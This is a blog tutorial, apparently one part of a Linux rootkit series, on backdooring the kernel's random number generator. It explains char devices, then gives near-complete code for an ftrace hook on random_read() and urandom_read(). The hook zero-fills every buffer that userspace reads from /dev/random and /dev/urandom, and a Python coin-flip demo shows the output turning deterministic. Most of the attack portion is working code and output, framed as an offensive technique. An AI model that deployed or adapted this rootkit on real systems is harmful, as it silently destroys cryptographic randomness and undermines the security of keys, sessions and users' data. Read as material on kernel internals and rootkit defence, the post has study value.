Linux Rootkits Part 4: Backdooring PRNGs by Interfering with Char Devices
We saw in Part 3 how easy it is to add some extra functionality to a syscall. This time we’re going to target a pair of kernel functions that are not syscalls, and can’t be called directly. To understand what these are, it’s worth discussing char devices a little first.
Char Devices in Linux⌗
Although you might not recognise the name, you’re probably already pretty familiar with a bunch of char (or chararacter) devices already. They usually live under /dev/
and their source code can be found in drivers/char
. Perhaps the most common ones are random
and urandom
which are the two that we are going to be targetting a little later on.
Essentially, a char device is some functionality of the kernel where it makes sense to expose it to the user as a file. This is particularly clear with things like random
and urandom
- if we want the kernel to give us some random bytes then we just read from either of these (normally using dd
).
$ dd if=/dev/random bs=1 count=32 | xxd
00000000: a1ec bdbd 638c dabd 4c04 e018 9cc0 0993 ....c...L.......
00000010: 50e1 b686 8997 3572 c0ec d05c d799 9103 P.....5r...\....
32+0 records in
32+0 records out
32 bytes copied, 0.000535243 s, 59.8 kB/s
Don’t be decieved into thinking that it’s a real file! If you mounted your harddrive on another machine you would not find any of these char devices. Taking a look at random
with file
, we see:
$ file /dev/random
/dev/random: character special (1/8)
This reinforces the fact we are not dealing with actual files - even if they behave like them!
The difference between
/dev/random
and/dev/urandom
is actually fairly subtle. Ultimately it’s all down to the available entropy of the system - which you can think about as a measure of randomness. Both char devices source their entropy from the same CSPRNG (Cryptographically Secure Pseudo Random Number Generator), but the difference is that/dev/random
will stop producing bytes if the entropy runs out - a process known as blocking, whereas/dev/urandom
uses a few tricks to continually seed an internal state in order to carry on producing bytes indefinitely. Technically,/dev/random
is the safer choice, but practically it isn’t as reliable as/dev/urandom
and is prone to creating race conditions. It’s also worth noting that the syscallsys_getrandom()
reads from/dev/urandom
by default, which we’ll see later on.
So, how does the kernel decide what to do when we try to read or write to a char device? If you guessed that it uses a struct, then you guessed right! Each char device has a file_operations
struct assigned to it (which basically forms its definition). The struct contains a .read
and .write
field among others, which contain points to functions!
It’s as simple as that - when we try to read from a char device, we execute the function pointed to the by the .read
field of the corresponding file_operations
struct.
We really ought to understand a little about how reads are done in the first place then - especially if we want to get in the middle of these reads and interfere with them! Looking up sys_read
in the Linux Syscall Reference tells us that it takes 3 arguments: a file descriptor, a buffer, and the number of bytes to read. It’s worth taking a closer look at these 3 things.
- The file descriptor is just a number that has been assinged to a certain file. If we were programming in userspace, we’d first need to use the
sys_open
syscall which takes a filename as one of its arguments and returns a file descriptor. Seeing as we will be working from the kernel, we don’t really to worry about this bit because a file descriptor will already have been assigned to either/dev/random
or/dev/urandom
by the timesys_read
is called. - The buffer is the more interesting part and is what we will have to concern ourselves with later. What is supposed to happen is that the user is meant to allocate an empty buffer somewhere in memory and then give
sys_read
a pointer to this buffer. Then the kernel will read from whatever the file descriptor is assigned to, into this buffer. - Finally, the number of bytes to read is just that - how many bytes should be read from the thing pointed to by the file descriptor. When a read is performed, we automatically seek forwards by however many bytes we read. While this doesn’t matter for char devices, it’s worth keeping in mind when you’re dealing with anything involving
sys_read
.
The value returned by sys_read
(into eax
) is the number of bytes that were successfully read. Let me repeat: the only thing returned by sys_read
is the number of bytes that were read. If you’ve come from the world of interpreted languages (like Python) then this might surprise you. We have to supply sys_read
with a buffer to store the data it reads for us.
The other important thing to point out is that sys_read
doesn’t know what it’s reading from - all it has is a file descriptor! If we wanted to manipulate reads to random
and urandom
using syscalls, we’d have to hook both sys_read
and sys_open
. Then we’d have to wait for something to try to open either of the char devices, log the file descriptor it returns somewhere and wait for something to read from it. In fact, we’d also have to hook sys_close
as well so we’d know when to stop watching for a file descriptor too! Sounds complicated, right? Luckily we can hook more than just syscalls!
The char device’s read routines⌗
Let’s take a look at drivers/char/random.c
where we have the following two snippets:
const struct file_operations random_fops = {
.read = random_read,
.write = random_write,
/* trimmed for clarity */
};
const struct file_operations urandom_fops = {
.read = urandom_read,
.write = urandom_write,
/* trimmed for clarity */
};
This tells us that whenever something tries to read from /dev/random
or /dev/urandom
, the functions random_read()
or urandom_read()
are called respectively. Taking a look at one of these functions, we find:
static ssize_t
random_read(struct file *file, char __user *buf, size_t nbytes, loff_t *ppos)
{
int ret;
ret = wait_for_random_bytes();
if (ret != 0)
return ret;
return urandom_read_nowarn(file, buf, nbytes, ppos);
}
This looks exactly like something we can hook!
The guts of this function are fairly unimportant because our eventual hook will start off by calling this function in full anyway. What is important is the way the function is defined because we will need to emulate it in our rootkit. Notice that the 2nd and 3rd arguments are a buffer and a size - these are the arguments passed from sys_read()
that we discussed earlier! Notice aswell the __user
identifier - this will be very important a little later.
Writing the rootkit⌗
We are going to be hooking both random_read()
and urandom_read()
which will allow us to make changes to the buffer containing the read data before returning to userspace.
Whenever we want to hook a function with ftrace, we need to check that the symbol name is exported by the kernel. This is certainly the case for all the syscalls but, seeing as neither of our targets are in the syscall table, we’d better check manually. As mentioned in earlier posts, this is done by looking at /proc/kallsyms
:
$ sudo cat /proc/kallsyms | grep random_read
/* redacted for clarity */
ffffffff84c934a0 t random_read
ffffffff84c934d0 t urandom_read
Okay, all good. The first thing we need to do now is get our function declarations right for the original copies:
static asmlinkage ssize_t (*orig_random_read)(struct file *file, char __user *buf, size_t nbytes, loff_t *ppos);
static asmlinkage ssize_t (*orig_urandom_read)(struct file *file, char __user *buf, size_t nbytes, loff_t *ppos);
Now we get to writing the actual hook. I’m only going to through the hook for random_read()
because it is identical for urandom_read()
, except we stick an extra u
in. You’ll see why this is the case as we work through it.
Recall that sys_read()
returns the number of bytes successfully read? Well, random_read()
does exactly the same thing! The very first thing our hook does is call orig_random_read()
with all the arguments it’s supplied with. Roughly, we have:
static asmlinkage ssize_t hook_random_read(struct file *file, char __user *buf, size_t nbytes, loff_t *ppos)
{
int bytes_read;
bytes_read = orig_random_read(file, buf, nytes, ppos);
printk(KERN_DEBUG "rootkit: intercepted read to /dev/random: %d bytes\n", bytes_read);
/* do something to buf */
return bytes_read;
}
If you stop here and flesh out the rest of the rootkit (ftrace, includes, etc) then you’ll get a working kernel module that just prints to dmesg
everytime we try to read from /dev/random
. The real brains of this module is what we do to buf
before returning to userspace.
For simplicity, we are just going to fill the buffer with 0x00
. Unfortunately (or fortunately, depending on how you see it), this isn’t as easy as it might sound. The reason is partly due to to the presence of the __user
identifier for the buffer. This reminds the kernel (and us!) that buf
points to an address in userspace virtual memory. We don’t know where this virtual address maps to physically, so trying to perform a read or write operation will likely result in a segfault.
The solution to this problem is to use the copy_from_user()
and copy_to_user()
functions, which allow us to copy data between arrays in both user- and kernel-space. For this module, we only really need copy_to_user()
, but I’m going to use both anyway to show you how they work.
To get started, we need an array of our own in kernelspace. If you’ve ever used malloc()
in C then this will be very familiar to you. We use the function kzalloc()
, which takes 2 arguments; a size and some flags. It then allocates a region of memory of the size we wanted and returns the address to us. When we are done with this buffer, we use kfree()
tell the kernel that we no longer need that patch of memory. It looks something like this:
char *kbuf = NULL;
int buf_size = 32;
kbuf = kzalloc(buf_size, GFP_KERNEL);
if(kbuf)
printk(KERN_ERROR "could not allocate buffer\n");
/* do something with the shiny new buffer */
kfree(kbuf);
Pretty simple, right? The GFP_KERNEL
flag indicates that this buffer is to be allocated in kernel memory - you can read more about the possible flags here.
So, now we can use copy_from_user()
to get the random bytes that were “read” from /dev/random
(it’s this step that we could skip because we only really need to copy the zero-filled buffer back to buf
, but it’ll be useful for later modules to see how this part works).
long error;
error = copy_from_user(kbuf, buf, bytes_read);
if(error)
printk(KERN_ERROR "failed to copy from user space: %d\n", error);
/* Fill kbuf with 0x00 */
error = copy_to_user(buf, kbuf, bytes_read);
if(error)
printk(KERN_ERROR "failed to copy back to user space: %d\n", error);
Putting it all together, we get the following hook:
static asmlinkage ssize_t hook_random_read(struct file *file, char __user *buf, size_t nbytes, loff_t *ppos)
{
int bytes_read, i;
long error;
char *kbuf = NULL;
/* Call the real random_read() */
bytes_read = orig_random_read(file, buf, nbytes, ppos);
/* Allocate a kernel buffer big enough to to hold everything */
kbuf = kzalloc(bytes_read, GFP_KERNEL);
/* Copy the random bytes from the userspace buf */
error = copy_from_user(kbuf, buf, bytes_read);
/* Check for any errors in copying */
if(error)
{
printk(KERN_DEBUG "rootkit: %d bytes could not be copied into kbuf\n", error);
kfree(kbuf);
return bytes_read;
}
/* Fill kbuf with 0x00 */
for ( i = 0 ; i < bytes_read ; i++ )
kbuf[i] = 0x00;
/* Copy the rigged buffer back to userspace */
error = copy_to_user(buf, kbuf, bytes_read);
if(error)
printk(KERN_DEBUG "rootkit: %d bytes could not be copied back into buf\n", error);
/* Free the buffer before returning */
kfree(kbuf);
return bytes_read;
}
As you can see, there isn’t anything specific to /dev/random
here, so the exact same goes for the hook_urandom_read()
function too (and any other char device you want to interfere with!).
Putting the whole thing together complete with the ftrace code (the completed, working source code can be found on the repo) we can start building and testing!
Notice that we didn’t have to worry about the whole doubling-up business with
pt_regs
structs like with thesys_kill
hook in Part 3. This is because we aren’t hooking a syscall in this rootkit - the way that a regular function is called by the kernel is unambiguous!
Okay, if we go ahead and make
, insmod rootkit.ko
, etc, we can see what happens when we attempt to read from /dev/random
or /dev/urandom
:
$ dd if=/dev/random bs=1 count=32 | xxd
00000000: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000010: 0000 0000 0000 0000 0000 0000 0000 0000 ................
32+0 records in
32+0 records out
32 bytes copied, 0.0157476 s, 2.0 kB/s
Whoop whoop! No more random bytes for you! There’s a screenshot I took of this too on the repo because I just think that this is so cool!
Where can we go with this?⌗
Obviously, not being able to obtain any random bytes seriously undermines the cryptographic security of the system. The most common way for a program in userspace to interface with these char devices is the sys_getrandom()
syscall. As mentioned earlier, this syscall uses /dev/urandom
by default (but can also use /dev/random
if supplied with the GRND_RANDOM
flag) so that hook in particular has a very wide ranging affect.
Let’s put together a quick-and-dirty python script to calculate some random numbers:
#!/usr/bin/python3
import random
SAMPLE_SIZE = 1000
headcount = 0
coinflips = []
for i in range(SAMPLE_SIZE):
newflip = random.randint(0,1)
if ( newflip == 0 ):
headcount += 1
coinflips.append(newflip)
print("Heads: " + str(headcount))
print("Tails: " + str(SAMPLE_SIZE - headcount))
Let’s run this a few times and see what happens:
$ ./check.py
Heads: 515
Tails: 485
$ ./check.py
Heads: 515
Tails: 485
$ ./check.py
Heads: 515
Tails: 485
I think you get the idea… We have dramatically reduced the randomness available (in the case of this particular statistic, we’ve reduced it to zero!). Just for comparison, let’s see what happens if we run that Python script again after unloading the rootkit:
$ ./check.py
Heads: 483
Tails: 517
$ ./check.py
Heads: 496
Tails: 504
$ ./check.py
Heads: 508
Tails: 492
The randomness has returned!
We know that Python is using sys_getrandom()
to generate our “coin flips” (which we could have checked by either using strace, or adding a printf()
call to the hook_urandom_read()
hook). It’s worth noting that Python mitigates some of the damage by only using sys_getrandom()
to seed it’s internal RNG. This can be seen by modifying the Python script to continually print out coin flips instead of just one. If we did that, we’d see that the the proportion of coin flips would change each iteration, but would give the same numbers each time we ran it! If you want to check for yourself, try this with and without the rootkit loaded.
I’m working on a better example involving ssh-keygen, but that will have to wait until another time…